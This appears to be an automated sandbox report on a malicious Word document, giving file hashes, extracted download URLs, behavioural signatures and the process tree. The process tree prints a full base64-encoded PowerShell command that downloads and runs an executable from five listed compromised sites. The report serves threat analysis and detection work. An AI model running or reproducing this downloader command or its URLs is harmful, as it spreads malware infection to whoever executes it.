Analysis
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max time kernel
137s -
max time network
128s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
23/05/2024, 18:03
Behavioral task
behavioral1
Sample
6bcc38f2c505ae47eeef8458adac6108_JaffaCakes118.doc
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
6bcc38f2c505ae47eeef8458adac6108_JaffaCakes118.doc
Resource
win10v2004-20240508-en
General
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Target
6bcc38f2c505ae47eeef8458adac6108_JaffaCakes118.doc
-
Size
151KB
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MD5
6bcc38f2c505ae47eeef8458adac6108
-
SHA1
2261dc6140ceeac6b4520512de9ffe3e2175078d
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SHA256
9412268f1f2c0eb9a06cc682d774e05495a3b4e468749c77e157a5a354c2c8d8
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SHA512
53855cd1f39a5f7313de0ade1401de7a058ab4cf07382ef57f0f06b72cfbeb6996a9e139d03897e0477e980346556b21161d8fa21e2969ed767c4d6349526b1c
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SSDEEP
3072:J77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qP/fhJEQiAEoS5y3zgI0E2T5:J77HUUUUUUUUUUUUUUUUUUUT52VmfhCD
Malware Config
Extracted
http://pressuredspeech.com/dngn/cEmgNTByQ/
https://phoneringtones.info/wp-content/uploads/qx93_k68trw3j-15334/
http://safeservicesfze.com/wp-admin/ZmVYmAXv/
https://freewallpaperdesktop.com/wp-includes/50lz_zkln03lbc-8209361/
http://noingoaithatthanhnam.com/wp-admin/voytvHre/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3956 2492 powErSHell.exe 83 -
Blocklisted process makes network request 2 IoCs
flow pid Process 25 3956 powErSHell.exe 86 3956 powErSHell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 800 WINWORD.EXE 800 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3956 powErSHell.exe 3956 powErSHell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3956 powErSHell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 800 WINWORD.EXE 800 WINWORD.EXE 800 WINWORD.EXE 800 WINWORD.EXE 800 WINWORD.EXE 800 WINWORD.EXE 800 WINWORD.EXE
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6bcc38f2c505ae47eeef8458adac6108_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:800
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C:\Windows\System32\WindowsPowerShell\v1.0\powErSHell.exepowErSHell -e JABRADYAMgA1ADYANwAxADEAPQAnAFcAMQA3ADYANQAwAF8AJwA7ACQAcwA3ADUAXwA3ADkAIAA9ACAAJwA5ADUAOQAnADsAJAB3ADEAOQAyADYAOAAwAD0AJwBkADIANAAyADMAMwAnADsAJABuADgAMQBfADUANwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAcwA3ADUAXwA3ADkAKwAnAC4AZQB4AGUAJwA7ACQAbgA3ADIAOABfADIAPQAnAGkAOAA0ADMANwBfACcAOwAkAFAAMgAzADEAOQAzAD0ALgAoACcAbgBlACcAKwAnAHcAJwArACcALQBvAGIAagBlAGMAdAAnACkAIABuAEUAVAAuAFcAYABFAGIAYwBgAEwAYABpAEUAYABOAHQAOwAkAEsAOAAzAF8AOAA3AD0AJwBoAHQAdABwADoALwAvAHAAcgBlAHMAcwB1AHIAZQBkAHMAcABlAGUAYwBoAC4AYwBvAG0ALwBkAG4AZwBuAC8AYwBFAG0AZwBOAFQAQgB5AFEALwBAAGgAdAB0AHAAcwA6AC8ALwBwAGgAbwBuAGUAcgBpAG4AZwB0AG8AbgBlAHMALgBpAG4AZgBvAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBxAHgAOQAzAF8AawA2ADgAdAByAHcAMwBqAC0AMQA1ADMAMwA0AC8AQABoAHQAdABwADoALwAvAHMAYQBmAGUAcwBlAHIAdgBpAGMAZQBzAGYAegBlAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBaAG0AVgBZAG0AQQBYAHYALwBAAGgAdAB0AHAAcwA6AC8ALwBmAHIAZQBlAHcAYQBsAGwAcABhAHAAZQByAGQAZQBzAGsAdABvAHAALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvADUAMABsAHoAXwB6AGsAbABuADAAMwBsAGIAYwAtADgAMgAwADkAMwA2ADEALwBAAGgAdAB0AHAAOgAvAC8AbgBvAGkAbgBnAG8AYQBpAHQAaABhAHQAdABoAGEAbgBoAG4AYQBtAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB2AG8AeQB0AHYASAByAGUALwAnAC4AUwBQAEwASQBUACgAJwBAACcAKQA7ACQAdwA5ADMAOAAxAF8AOQA5AD0AJwBPADMAMQBfADQAMwAwADgAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGwAMgA3ADAANwBfADQAIABpAG4AIAAkAEsAOAAzAF8AOAA3ACkAewB0AHIAeQB7ACQAUAAyADMAMQA5ADMALgBkAG8AVwBuAGwAbwBhAEQARgBpAGwARQAoACQAbAAyADcAMAA3AF8ANAAsACAAJABuADgAMQBfADUANwApADsAJAB3ADAAXwBfADkAXwBfAD0AJwB1ADYANwA2ADcAMgA2ACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAgACQAbgA4ADEAXwA1ADcAKQAuAEwARQBuAGcAdABIACAALQBnAGUAIAAyADAANgA5ADcAKQAgAHsAJgAoACcASQBuACcAKwAnAHYAbwBrAGUALQBJAHQAZQAnACsAJwBtACcAKQAgACQAbgA4ADEAXwA1ADcAOwAkAHIAOQA1ADgAXwAwAD0AJwBoADUAMQA0ADAAOQAnADsAYgByAGUAYQBrADsAJABJADkANABfADEAMQAwADMAPQAnAGkAOQA2ADkAMAAzADEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAZgA3ADIAMQAxADAAMAA9ACcAWgA3ADcAMAAzADAAXwAnAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3956
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
36KB
MD5f147eaf95a416034767296eda3cedfdf
SHA1be6747bb0cbdd8c052e73116a4cbb739d792db31
SHA256a3f08ade304452b02116f2fd5894a2f8785f6066dfa470c3cd98a923bef2c772
SHA5126092607d81ecc1619f55d9dee98aeedfbe9fd6de46097d97653d895e344019524628302c894f7e1224f014689589b3a4b2e25d784f38a8d0073dbd4728d7b2b3
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Filesize
263KB
MD5ff0e07eff1333cdf9fc2523d323dd654
SHA177a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
SHA2563f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
SHA512b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82